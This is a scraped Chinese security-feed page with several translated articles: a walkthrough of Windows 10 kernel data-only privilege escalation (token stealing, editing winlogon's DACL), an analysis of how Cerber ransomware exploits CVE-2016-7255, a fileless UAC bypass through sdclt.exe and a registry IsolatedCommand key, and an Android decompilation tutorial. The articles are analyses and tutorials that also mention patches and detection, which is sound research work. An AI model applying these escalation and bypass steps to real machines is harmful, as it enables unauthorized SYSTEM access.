Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

$
0
0
【技术分享】探索基于windows 10的Windows内核Shellcode(Part 4)

2017-03-23 11:02:05
来源:improsec.com 作者:myswsun

阅读:447次
点赞(0)
收藏





【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

翻译:myswsun

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿



传送门

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 1)

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 2)

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)


0x00 前言

本文是对之前3篇关于Windows内核shellcode的补充。你能阅读之前的文章,part1,part2和part3。

在我之前的文章中有个假设是能够在内核上下文中执行任意汇编代码。从一个write-what-where漏洞得到这个是可能的,且经常来自于内存池溢出,它需要一个内核读写原语和绕过KASLR。如果我们只想使用读写原语来执行数据攻击,我们可以省略绕过KASLR。本文描述了3中方法,每种都可以转化为数据攻击,而不是shellcode。

在我们开始之前,需要一个内核读写原语,幸运的是,在我之前的一篇文章中介绍了如何在Windows 10周年纪念版或更新版本中滥用tagWnd结构。基于这个利用技术,任何其他的内核读写原语都能实现。还应该注意的是tagWnd利用原语没有被win32k系统调用过滤机制阻止,因此在IE和Edge中都能使用。


0x01 窃取令牌

令牌窃取的shellcode在第一篇文章中有介绍,通过从GS寄存器中获取KTHREAD的地址。在这里我们遇到一个问题,因为我们不能使用一个读原语读取这个。很幸运,我们能在tagWnd对象中找到,Windows 10没有发布tagWnd的符号,但是ReactOS有Windows XP 32位的这个结构的描述,因此我们希望翻译为我们自己的。TagWnd对象起始于下面的结构:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

下面是THRDESKHEAD的结构:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

在其中包含了另一个THROBJHEAD结构:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

第二个参数指向THREADINFO结构:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

W32THREAD结构如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

这意味着我们能得到一个指向ETHREAD的指针。总结下,我们使用用户模式下映射的桌面堆泄露了tagWnd对象的地址。从tagWnd对象的地址看,我们使用读原语来读取偏移0x10处的DWORD值,以便得到THREADINFO结构的指针。然后我们读取偏移0处的值,得到ETHREAD的指针。Windbg显示如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

在这个例子中,tagWnd对象位于0xfffff1b0407afe90,在两次读取后,我们有了KTHREAD,但是为了证明它,我们读取其偏移0x220处的值,以为那是EPROCESS的地址,然后我们能验证。

现在,我们有方法读取EPROCESS的地址了。实现如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

窃取令牌的shellcode如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

从汇编转化为数据读写的步骤如下:

获取父进程的PID

定位父进程的EPROCESS

定位系统进程的EPROCESS

覆写父进程的令牌

第一步很简单,只要读取当前EPROCESS的偏移0x3E0:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

接下来,遍历EPROCESS,直到在偏移0x2E8处找到PPID:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

然后是系统进程的EPROCESS:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

最后得到令牌的地址,并在父进程中的EPROCESS覆写它:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

运行,手动修改tagWnd的cbwndExtra字段,模拟一个write-what-where漏洞,得到如下结果:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

因此不需要执行内核shellcode也能做到同样的事。


0x02 编辑ACL

第二个方法是编辑winlogon.exe进程的安全描述符中的DACL的SID,以及当前进程的MandatoryPolicy。这允许程序注入一个线程到winlogon.exe进程中,并且以SYSTEM权限运行一个cmd.exe。shellcode如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

下面是转化的步骤:

找到当前进程的EPROCESS

找到winlogon进程的EPROCESS

修改winlogon的DACL

修改当前进程的令牌

我们和之前一样找到当前进程的EPROCESS:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

然后,我们通过搜索名字找到winlogon进程的EPROCESS:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

然后在安全描述符的偏移0x48处修改winlogon进程的DACL:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

因为利用原语只能读写QWORD,我们在0x48处读取整个QWORD并修改它,然后写回。最后我们使用相同方法修改当前进程的令牌:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

运行PoC,再次手动修改tagWnd的cbwndExtra字段,模拟一个write-what-where漏洞,得到如下结果:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

0x03 开启特权

最后一个技术是开启父进程中所有的特权,汇编代码如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

第一部分的代码是窃取令牌的shellcode,首先找到当前进程的EPROCESS,然后使用它找到父进程的EPROCESS,代码如下:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

接下来找令牌,忽略参考位,在偏移0x48处设置0xFFFFFFFFFFFFFFFF:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

再次手动修改tagWnd的cbwndExtra字段,模拟一个write-what-where漏洞,得到如下结果:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

运行PoC,因为高特权级我们能注入到winlogon中:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)

0x04 结语

上述包含了内核shellcode到数据攻击的转化,对于将标准特权提升到SYSTEM,不需要执行内核shellcode,也不需要绕过KASLR。


传送门

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 1)

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 2)

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)



【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)
【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 4)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://improsec.com/blog//windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code

【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

$
0
0
【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

2017-03-23 10:47:27
来源:安全客 作者:360安全卫士

阅读:454次
点赞(0)
收藏





【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

0x1 前言

360互联网安全中心近日捕获到一款“ceber”敲诈者木马变种,该变种与其他“ceber”敲诈者木马变种在代码执行流程上并没有太大区别。唯一值得注意的是,该木马利用CVE-2016-7255权限提升漏洞对自身进行提权。本文将分析该敲诈者对CVE-2016-7255权限提升漏洞的利用过程。

0x2 漏洞细节

出问题的代码位于win32k!xxxNextWindow中,由于缺少必要的检查直接将tagWND+0xC0成员偏移0x28对应地址中的值与4进行或操作,而tagWND+0xC0又是可控的,从而导致了任意地址写。存在漏洞的代码如下所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图1 存在漏洞的代码

图中v12表示的就是tagWND结构体,该结构体如下所示(省略掉部分)。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图2 tagWND结构体

从上图可以看出,tagWND+0xC0对应的是spmenu成员,如果存在用户态函数可以对该成员进行赋值,即可触发任意地址写。对于32位系统而言,可以直接调用SetWindowLong函数,SetWindowLong函数会调用内核态函数NtUserSetWindowLong完成此功能;对于64位系统而言,不存在可以利用的用户态函数,但是可以使用syscall的方式调用内核态函数NtUserSetWindowLong或函数NtUserSetWindowLongPtr来完成这项工作。(以下介绍的是NtUserSetWindowLong函数,NtUserSetWindowLongPtr函数执行流程相同)。

NtUserSetWindowLong函数只是一层外壳,它会将参数传递给xxxSetWindowLong并调用它,该函数如下所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图3 xxxSetWindowLong函数

在该函数中会对传入的nIndex进行判断,并根据nIndex的值执行对应的操作。对于nIndex的值为-16,-20,-12,-21的情况,会调用xxxSetWindowData函数进行处理。如下所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析
图4 调用xxxSetWindowData函数进行处理

该函数接收xxxSetWindowLong的参数,当nIndex参数为-12(GWL_ID),且所操作窗口的style为WS_CHILD或WS_CHILDWINDOW(0x40000000)时,会将所操作窗口tagWND结构体的spmenu成员的值设为dwNewLong。如下图所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图5 触发漏洞的位置

由于dwNewLong是调用NtUserSetWindowLong函数时传递的参数,用户态进程可以利用syscall随意控制它。而win32k!xxxNextWindow函数会对spmenu+0x28的成员与4进行或操作,因此触发了任意地址写。

0x3 漏洞利用分析

从漏洞细节中可以看出,用户态进程拥有对tagWND结构体的spmenu成员的修改权,该成员是个tagMENU结构体,结构体定义如下所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图6 tagMENU结构体

不难看出,xxxNextWindow函数修改的值就是spmenu的fFlags成员(偏移0x28),由于对该成员进行与0x4的或操作,因此该漏洞只能修改1bit大小的区域。

只能修改1bit表面上看起来貌似没有多大价值,不过该木马变种并非只把目光集中在这1bit上,而是转移到了tagWND结构体的cbWNDExtra成员,该成员表示的是窗口附加数据的大小。如果能够通过修改窗口附加数据的大小来覆盖关键地址,之后再利用其他方式写入数据,就可达到完美利用。

那么要完成对cbWNDExtra成员的写操作,就必须获取cbWNDExtra成员的地址或者是cbWNDExtra成员相对于某个已知地址的偏移。除外还必须获取附加数据的地址或者是相对于某个已知地址的偏移,以便之后进行计算与写入。对于获取cbWNDExtra成员的地址,该木马创建了两个窗口“ExtraWnd1”和“ExtraWND2”,而这两个窗口的不同之处在于其窗口类的cbWndExtra成员,该成员正好对应tagWND的 cbWNDExtra成员。程序将两个窗口类的cbWndExtra成员分别赋值为0x118和0x130,如下图所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图7 创建两个窗口

创建窗口之后就是获取cbWNDExtra成员在tagWND结构体中的偏移,使用的是HMValidateHandle函数。该函数并未在用户态中导出,不过有个用户态函数IsMenu调用了它。木马通过判断IsMenu中相关字节码的位置获取HMValidateHandle的地址。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图8 利用字节码定位函数

HMValidateHandle函数会泄露tagWND结构体的内容,因此木马很容易就能定位cbWNDExtra成员在tagWND结构体中的偏移。为了保险起见,木马判断两个窗口tagWND结构体的cbWNDExtra成员的偏移,当两个cbWNDExtra为注册窗口类时设置的值(0x118和0x130)且偏移相同时才说明该偏移有效。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图9 确定cbWndExtra成员的偏移

在获取cbWNDExtra成员的偏移之后,该获取附加数据的偏移了。附加数据在内核态中是紧跟在tagWND结构体之后的,而SetWindowLong函数可以向窗口写入附加数据,nIndex表示的是写入的初始偏移。该木马调用SetWindowLong函数向附加数据区域的开头写入0x31323334,之后再次调用HMValidateHandle函数并通过比较偏移的内容是否为0x31323334来确定附加数据的偏移。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图10 确定附加数据的偏移

确定关键的两处偏移之后,就该进行漏洞的触发了。由于触发漏洞的窗口必须设置为WS_CHILD或WS_CHILDWINDOW(0x40000000)类型。因此此处调用SetWindowLong函数设置窗口的style。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图11 设置窗口style

然后就是对tagWND结构体的spmenu成员赋值,此时调用的是以GWL_ID做为nIndex参数的NtUserSetWindowLong函数(或NtUserSetWindowLongPtr函数)。该木马会首先确定程序所处的系统环境,如果是32位系统则直接调用SetWindowLong函数完成工作;如果是64位系统,则在用户态中使用syscall并赋予特殊的ID调用NtUserSetWindowLongPtr函数。32位系统环境下和64位系统环境下调用方式如图所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图12 32位系统下通过调用SetWindowLong函数调用NtUserSetWindowLong


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图13 64位系统使用syscall方式调用NtUserSetWindowLongPtr函数

本文以64位系统为例,syscall ID在不同版本中各不相同,木马在执行漏洞利用之前会先判断操作系统版本并初始化存放不同操作系统版本syscall ID的数组。在Win7 x64下,该ID为0x133a。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图14 判断系统版本并初始化syscall ID

之前已经获得cbWNDExtra成员在tagWND结构体中的偏移,现在需要获得所操作窗口的tagWND结构体在内核中的地址。幸运的是,tagWND.head.pSelf成员(head成员偏移0x20处)泄露了tagWND结构体在内核中的地址,可以首先通过HMValidateHandle函数获取tagWND结构体的内容进而获取tagWND.head.pSelf成员,从而取得tagWND结构体在内核中的地址。之后对tagWND结构体成员内核地址的获取都是先使用该方法获取tagWND结构体的内核地址再加上相应的偏移。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图15 获取tagWND地址

tagWND的地址加上cbWNDExtra成员的偏移即可得cbWNDExtra成员在内核中的地址。由于xxxNextWindow函数操作的是spmenu成员中的值加上0x28后的结果,而木马的目的是修改cbWNDExtra的值,因此木马将cbWNDExtra成员(大小为4字节)在内核中的地址减去0x28后加上3字节,将该值传递给spmenu,让cbWNDExtra的最高字节与0x4进行或操作。这样原本大小为0的cbWNDExtra就变成了0x4000000。此时窗口的附加数据长度就变为了0x4000000。

完成附加数据长度的增长之后,需要往附加数据中写入特定的值以寻求覆盖一些关键的标志位达到权限提升。该木马使用的方法是再次创建一个窗口,并确保该窗口的tagWND的地址与触发漏洞的窗口的tagWND的地址距离足够小,以保证触发漏洞的窗口的附加数据可以覆盖到该窗口的tagWND。为此,木马在完成该步骤之前创建了100个窗口,并选取两个tagWND结构体地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口,一个作为利用的窗口。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图16 创建两个窗口进行漏洞触发和利用

选取好两个窗口之后调用xxxNextWindow函数触发漏洞。在用户态中可以模拟按键VK_MENU来触发xxxNextWindow函数的调用。漏洞触发后,窗口1的附加数据长度变为0x4000000,覆盖了窗口2的tagWND结构体。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图17 模拟VK_MENU触发xxxNextWindow函数的调用

木马利用该漏洞的目的是提升权限,因此木马必须对一些重要的标志位,例如进程令牌进行修改。幸运的是,通过检索tagWND结构体的一些成员就能找到可以进行操作的地方。TagWND.head.pti -> ppi -> Process-> ActiveProcessLinks保存所有进程的EPROCESS对象,木马可以通过检索这些对象获得系统高权限进程的相关信息。

那么木马该如何获得这些信息?由于窗口1的附加数据覆盖了窗口2的tagWND结构体,而且可以调用NtUserSetWindowLongPtr函数(32位下可以调用SetWindowLong函数)对窗口的附加数据进行写操作,这意味着可以操作窗口2的tagWND结构体。如果将某个内核地址写入窗口2的tagWND结构体中的某个成员,再利用其它函数读取该成员的值,就能够读取该内核地址中的值。木马选取的是tagWND的spwndParent成员。该成员偏移为0x58。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图18 利用spwndParent任意读

木马通过syscall调用NtUserSetWindowLongPtr函数写窗口1的附加数据,而数据操作的起始偏移为窗口2tagWND. spwndParent的内核地址-窗口1附加数据区的起始地址,也就是窗口1附加数据覆盖到窗口2 tagWND结构体spwndParent成员的位置。木马将之前提到的ActiveProcessLinks链表的内核地址写入窗口2 tagWND结构体的spwndParent成员。然后调用GetAncestor函数,该函数实际调用内核态函数NtUserGetAncestor,当gaFlags参数为GA_PARENT(1)时,该函数将读取tagWND结构体的spwndParent成员。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图19 gaFlags参数为1时读取的值

如此一来,木马就能够读取ActiveProcessLinks链表的内核地址,并且可以遍历该链表获取其它进程的EPROCESS对象。木马遍历ActiveProcessLinks链表中每个进程的PID,以获得当前进程的EPROCESS对象。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图20 获得当前进程的EPROCESS对象 之后还会继续遍历链表,获得system进程(PID=4)的EPROCESS对象。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图21 获得system进程的EPROCESS对象

然后木马读取system进程EPROCESS对象偏移0x208的值,也就是token成员,同时也获取当前进程的token成员的内核地址。之后它将用system进程的token替换掉当前进程的token,以达到提权的目的。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图22 读取system进程EPROCESS对象的token成员


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图23 读取当前进程EPROCESS对象的token成员

在完成必要的读取操作之后,木马需要将token写入当前进程的EPROCESS对象的相应偏移中,而对于写操作,木马选择了SetWindowText函数。SetWindowText函数会将数据写入tagWND.strname.Buffer,如果可以将tagWND.strname.Buffer修改为当前进程token的内核地址,就可以对当前进程的token进行修改。和之前的原理一样,可以利用syscall调用NtUserSetWindowLongPtr,通过写入数据到窗口1的附加数据区域以覆盖窗口2的tagWND.strname.Buffer成员,即可修改窗口2的tagWND.strname.Buffer为当前进程EPROCESS对象的token成员的内核地址。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图24 获取tagWND.strname.Buffer

之后调用SetWindowText将system进程的token写入到tagWND.strname.Buffer的地址中,也就是用system进程的token代替当前进程的token,从而使当前进程拥有system权限。至此进程提权成功。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图25 cerber敲诈者木马提权成功


0x4 缓解机制

通过微软的补丁可以发现,在对win32k!xxxNextWindow的调用时进行了限制。如下图所示。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析

图26 缓解机制

在对spmenu.fFlags进行或操作之前会首先判断tagWND的style成员是否为WS_CHILD或WS_CHILDWINDOW(0x40000000),也就是所操作窗口的类型是否为WS_CHILD或WS_CHILDWINDOW,如果窗口类型为WS_CHILD或WS_CHILDWINDOW则跳过此处的操作,不会对spmenu.fFlags进行或操作。由于调用以GWL_ID做为nIndex参数的NtUserSetWindowLongPtr函数的时候,只有当所操作的窗口类型为WS_CHILD或WS_CHILDWINDOW(0x40000000)的情况下才会将dwNewLong参数中的值赋予tagWND.spmenu(见图5),而此处限制了窗口的类型,从而对整个漏洞触发的过程进行了限制。

0x5 总结

如今越来越多的恶意程序使用nDay漏洞进行攻击或者辅助自身的攻击,而对此最好的解决方法就是及时打上补丁以阻止恶意攻击。对于用户而言,提高安全意识,不运行安全性未知的程序,为系统及时打上补丁,这些对于防范恶意程序攻击都是非常有必要的。

360安全卫士针对敲诈者木马独家推出了“反勒索服务”,用户在安装360安全卫士并开启该服务的情况下,如果防不住各类敲诈者木马,360负责替用户赔付赎金。


【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析
【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3645.html

【技术分享】如何利用sdclt.exe实现无文件绕过UAC

$
0
0
【技术分享】如何利用sdclt.exe实现无文件绕过UAC

2017-03-23 13:54:01
来源:enigma0x3.net 作者:myswsun

阅读:305次
点赞(0)
收藏





【技术分享】如何利用sdclt.exe实现无文件绕过UAC

翻译:myswsun

稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00前言

最近,我发布了一篇文章“使用sdclt.exe绕过UAC”。你可能记得APP Path需要一个文件才能有效。因为sdclt.exe在那里,我将发布另一种绕过的方法,是无文件的。在我上一篇文章中我提过它,但是Vault7泄漏确认了绕过UAC在操作上是有趣的,在转储中详细记录了几种UAC绕过的方法。目前为止公布的绕过方法中,尤其突出的是@hfiref0x的UACME项目,该项目是对公开的技术的集合。

在更新版本的windows中,显示了微软很重视绕过UAC。这刺激了我花更多的时间在UAC上,且尝试不同的方法。


0x01分析

正如一些你知道的,有一些微软签名的二进制文件由于他们的清单文件会自动提权。你能在这里阅读到这些二进制和他们的清单文件。通过SysInternals的工具sigcheck能搜索更多有这种特征的二进制文件,我发现了sdclt.exe,并验证了它会由于它的清单文件自动提权:


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

注意:这只能在Windows10上起作用。这个Windows 7上的sdclt.exe的清单文件中requestedExecutionLevel为AsInvoker,以防止从中级特权启动时的自动提权。

正如我上文中提到的,用于调查Windows上的加载常见的技术是使用Sysinternals Process Monitor来分析一个进程执行时的行为。我经常对与我调查的进程做一些二进制分析以便找到其他的机会。

当分析自动提权的二进制时,首先该做的是寻找潜在的命令行参数。我是用IDA做这个,但是你能使用你喜欢的工具。当分析sdclt.exe时,由于一些有趣的关键字我注意到一些参数:


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

这些是有趣的,因为sdclt.exe在它的清单文件中被设置为自动提权。在IDA中查看sdclt.exe,它校验参数是否为“/kickoffelev”。如果是,设置sdclt.exe的全路径,添加“/KickOffJob”作为一个参数,然后调用SxShellExcuteWithElevate。


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

SxShellExecuteWithElevate使用Runasverb启动%systemroot%\system32\sdclt.exe /kickoffjob。当你右键一个二进制文件时,就是执行RunAsAdministrator选项。


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

下一步是运行sdclt.exe /Kickoffelev,并用procmon监控。在得到输出后,我们看到HKEY_CURRENT_USER中受信的“shell\<verb>command”注册表搜索路径。


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

下一步是添加这些键,并根据我们的二进制和参数执行。不幸的是,在添加这些键后什么也不执行,并启动了sdclt.exe /kickoffelev。回到procmon中,我们的键是需要的,但是sdclt.exe能在另一个command键中找到:IsolatedCommand。


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

然后我们能在IsolatedCommand键中以一个字符串(REG_SZ)添加我们的payload和参数:


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

这是和eventvwr.exe绕过方法中相同的bug。你能在这阅读eventvwr.exe绕过和使用的键。注意,取代shell\open\command,我们现在看到了shell\runas\command。这是因为使用RunAs调用SxShellExecuteWithElevate时sdclt.exe会被再次调用。

在添加我们的payload作为IsolatedCommand的值后,运行sdclt.exe /KickOffElev将在高特权级执行我们的payload(及任何参数):


【技术分享】如何利用sdclt.exe实现无文件绕过UAC

为了描述这个技术,你能在这里找到一个脚本:https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1

这个脚本包含你的payload和任何参数的一个全路径。“C:\Windows\System32\cmd.exe /c notepad.exe”是一种好的验证方式。它将自动添加键,启动sdclt.exe /kickoffelev,并清理。

这个特别的技术能通过设置UAC等级为总是通知或者将当前用户移出本地管理员组来补救或修复。而且,如果你想监控这个行为,你能利用特征寻找和注册表操作告警:

HKCU:\Software\Classes\exefile\shell\runas\command\isolatedCommand

【技术分享】如何利用sdclt.exe实现无文件绕过UAC
【技术分享】如何利用sdclt.exe实现无文件绕过UAC
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

【系列分享】安卓Hacking Part 18:逆向工程入门篇

$
0
0
【系列分享】安卓Hacking Part 18:逆向工程入门篇

2017-03-23 15:58:28
来源:infosecinstitute.com 作者:shan66

阅读:451次
点赞(0)
收藏





【系列分享】安卓Hacking Part 18:逆向工程入门篇

翻译:shan66

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在计算领域中,逆向工程是指理解某些系统的运行机制并重用这些信息来做某些事情的过程。这种方式同样适用于Android应用程序。许多情况下,我们都需要对Android应用进行逆向工程。

阅读他人的代码

查找代码中的漏洞

搜索硬编码在代码中的敏感数据

恶意软件分析

修改现有应用程序的功能


反编译与反汇编

反编译是将软件的二进制代码转换为文本格式的、编写软件源代码所用的高级语言代码的过程,因为高级语言具有更高的可读性。

不过,反汇编器却不会将二进制转换为高级语言文本:它只是字节到文本的一对一转换,并提供指令助记符,虽然这样也有助于理解代码,但是与直接阅读高级语言源码相比难度要更大一些。


从Java生成DEX文件

为了介绍Android应用程序的逆向过程,首先需要了解如何构建应用程序。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

如上图所示,

1. 开发人员用Java编程语言编写源代码,这些文件的扩展名“.java”。

2. 这些java文件被提交给“javac”编译器,由它生成“.class”文件。

3. 这些类文件被提交给“dx”工具,以生成“.dex”文件。

4. 然后,“.dex”文件以及其他资源被打包为“.apk”文件,最后放入Dalvik虚拟机中运行。

要想查看所生成的dex文件的结构的话,我们可以使用010Editor。

在我们继续学习之前,请下载以下工具:

010Editor

dex template

您可以从下面的链接下载010编辑器:

http://www.sweetscape.com/010editor/

你可以从下面的链接来下载“dex 模板”:


下载链接

1.解压APK文件。在*nix系统中我们可以使用unzip命令进行解压。

2.使用010 Editor打开classes.dex。

3.加载下载的dex模板。

下图是010editor显示一个dex文件。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

关于dex文件格式及其工作原理的详细信息,请参阅以下链接。

https://source.Android.com/devices/tech/dalvik/dex-format.html

逆向Android应用程序:

现在让我们讨论如何针对Android应用程序进行逆向工程。

1.反汇编Android应用程序

可以使用名为APKTOOL的工具获取smali版本的代码。这一点我们在本系列的前面的文章中已经介绍过了。

以下是对Android应用程序进行逆向工程,并使用APKTOOL获取smali代码的具体步骤。

第1步.从以下链接下载APKTOOL

http://ibotpeaches.github.io/Apktool/

第2步.运行以下命令获取smali版本的代码。

apktoold[app].apk

第3步.为了重新编译应用程序,我们只需要修改选项"b",让它指向存放修改的代码的文件夹的路径即可。

apktool.batb[pathtothetargetfolder]

2.解压Android应用程序

在本节中,我们将讨论反编译Android应用程序的两种方法。

使用dex2jar和jad来反编译Android应用程序:

首先,让我们看看如何使用dex2jar和jad来反编译Android应用程序。

步骤1:解压apk文件

如下图所示,目标APK文件位于我当前的文件夹中。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

让我们将apk文件的扩展名改为ZIP,如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

现在,我们可以使用unzip命令进行解压了,具体如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

步骤2:dex2jar上场

现在,导航到dex2jar所在的文件夹,并运行以下命令。这将生成一个新的jar文件,具体如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

步骤3:使用unzip命令从新生成的jar文件中提取“.class”文件。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

上面的步骤将会创建一些文件夹,这些文件夹的名称与APK工具包名称类似。

这里为com.isi.securelogin

导航到.class文件所在的文件夹,如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

现在,我们需要反编译它们,以获得.java文件。

步骤4:使用JAD反编译器将.class文件解压为Java:

Jad是一个流行的java反编译器。

您可以通过下面的链接下载jad。

http://www.varaneckas.com/jad

现在,将我们提取的所有类文件作为输入提供给jad,具体如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

它将在同一个文件夹下面生成.java文件,具体如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

使用dex2jar和JD-GUI解压Android应用程序

本节介绍如何使用dex2jar和JD-GUI反编译应用程序。这种方法和以前的方法之间的唯一区别,就是使用JD-GUI代替了JAD。

您可以从下面的链接下载JD-GUI。

http://jd.benow.ca

步骤1:解压apk文件

让我们将apk文件的扩展名更改为ZIP,如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

现在,我们可以使用unzip命令了,具体如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

步骤2:使用dex2jar

就像前面那样,导航到dex2jar所在的文件夹,并运行以下命令。这将生成一个新的jar文件,如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

步骤3:现在,使用JD-GUI打开这个新生成的jar文件,如下所示。


【系列分享】安卓Hacking Part 18:逆向工程入门篇

这样就能得到反编译的Java代码了。


传送门

安卓 Hacking Part 1:应用组件攻防(连载)

安卓 Hacking Part 2:Content Provider攻防(连载)

安卓 Hacking Part 3:Broadcast Receivers攻防(连载)

安卓 Hacking Part 4:非预期的信息泄露(边信道信息泄露)

安卓 Hacking Part 5:使用JDB调试Java应用

安卓 Hacking Part 6:调试Android应用

安卓 Hacking Part 7:攻击WebView

安卓 Hacking Part 8:Root的检测和绕过

安卓 Hacking Part 9:不安全的本地存储:Shared Preferences

安卓 Hacking Part 10:不安全的本地存储

安卓 Hacking Part 11:使用Introspy进行黑盒测试

安卓 Hacking Part 12:使用第三方库加固Shared Preferences

安卓 Hacking Part 13:使用Drozer进行安全测试

安卓 Hacking Part 14:在没有root的设备上检测并导出app特定的数据

安卓 Hacking Part 15:使用备份技术黑掉安卓应用

安卓 Hacking Part 16:脆弱的加密

安卓 Hacking Part 17:破解Android应用


【系列分享】安卓Hacking Part 18:逆向工程入门篇
【系列分享】安卓Hacking Part 18:逆向工程入门篇
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/

【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

$
0
0
【技术分享】如何利用windows默认内核调试配置实现代码执行并获取管理员权限

2017-03-23 15:29:20
来源:blogspot.co.uk 作者:興趣使然的小胃

阅读:536次
点赞(0)
收藏





【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

翻译:興趣使然的小胃

稿费:200RMB

